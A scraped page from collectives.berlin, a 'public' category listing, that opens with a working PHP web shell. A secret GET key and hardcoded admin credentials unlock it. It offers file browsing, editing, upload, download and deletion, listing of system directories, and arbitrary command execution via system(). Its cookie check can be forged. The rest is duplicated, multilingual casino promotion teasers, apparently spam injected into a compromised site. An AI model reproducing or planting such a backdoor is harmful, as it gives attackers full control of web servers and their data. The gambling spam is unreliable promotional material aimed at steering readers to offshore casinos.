if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 8 – collectives.berlin

Your digital paradise.

Category: public

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Mobil Pin-Up tətbiqi: oyunçular üçün üstünlükləri

    Onlayn oyun dünyasında, mobil tətbiqlər oyunçulara daha rahat və sürətli giriş imkanı təqdim edir. Mobil Pin-Up tətbiqi, istifadəçilərə geniş oyun çeşidi, bonus imkanları və pin up mobil dostu interfeys ilə fərqlənir. Bu yazıda, bu tətbiqin oyunçular üçün üstünlüklərini ətraflı şəkildə araşdıracağıq. Pin-Up tətbiqinin üstünlüklərinə daha yaxından baxış Mobil Pin-Up tətbiqi, istifadəçilərə istədikləri zaman və yerdə…

    Click or not…

  • Aprovecha los torneos de PinUp casino: estrategias para triunfar

    Los torneos en los casinos online son una excelente forma de maximizar la experiencia de juego y potencialmente aumentar las ganancias. En este contexto, los torneos son muy populares entre los jugadores, ya que ofrecen la oportunidad de competir contra otros y ganar premios significativos. Además, los mejores torneos se pueden encontrar en https://pinup-world.mx/ ,…

    Click or not…

  • Wie funktionieren Ausländische Online Casinos Schweiz? Ein Leitfaden für 2026 mit Blick auf

    Das Interesse an ausländischen Online-Casinos in der Schweiz nimmt stetig zu. Spieler suchen nach neuen Möglichkeiten, um ihre Lieblingsspiele bequem von zu Hause aus zu genießen. Im Jahr 2026 ist es besonders wichtig, die wichtigsten Faktoren zu verstehen, die beim Spielen in diesen Casinos eine Rolle spielen, einschließlich Lizenzierung, Zahlungsmethoden und beste ausländische online casinos…

    Click or not…

  • Wie funktionieren Ausländische Online Casinos Schweiz? Ein Leitfaden für 2026 mit Blick auf

    Das Interesse an ausländischen Online-Casinos in der Schweiz nimmt stetig zu. Spieler suchen nach neuen Möglichkeiten, um ihre Lieblingsspiele bequem von zu Hause aus zu genießen. Im Jahr 2026 ist es besonders wichtig, die wichtigsten Faktoren zu verstehen, die beim Spielen in diesen Casinos eine Rolle spielen, einschließlich Lizenzierung, Zahlungsmethoden und beste ausländische online casinos…

    Click or not…

  • Unlock fast payouts at GonzaBet: your guide to seamless withdrawals

    Online casinos have become increasingly popular, offering players a convenient way to enjoy real money games from the comfort of their own homes. GonzaBet, a licensed UK online casino, stands out with its diverse selection of games and impressive speed of payouts. Whether you’re drawn to the thrill of slots, the strategy of table games,…

    Click or not…

  • Why 301Domains is the trusted choice for domain interception in 2026

    In the fast-paced digital world, securing a valued domain name can be a game-changer for businesses and individuals alike. As we step into 2026, the demand for domain interception services has surged, making it essential to partner with a reliable provider. Many players also consider options like non gamstop uk casino platforms that offer unique…

    Click or not…

  • Why 301Domains is the trusted choice for domain interception in 2026

    In the fast-paced digital world, securing a valued domain name can be a game-changer for businesses and individuals alike. As we step into 2026, the demand for domain interception services has surged, making it essential to partner with a reliable provider. Many players also consider options like non gamstop uk casino platforms that offer unique…

    Click or not…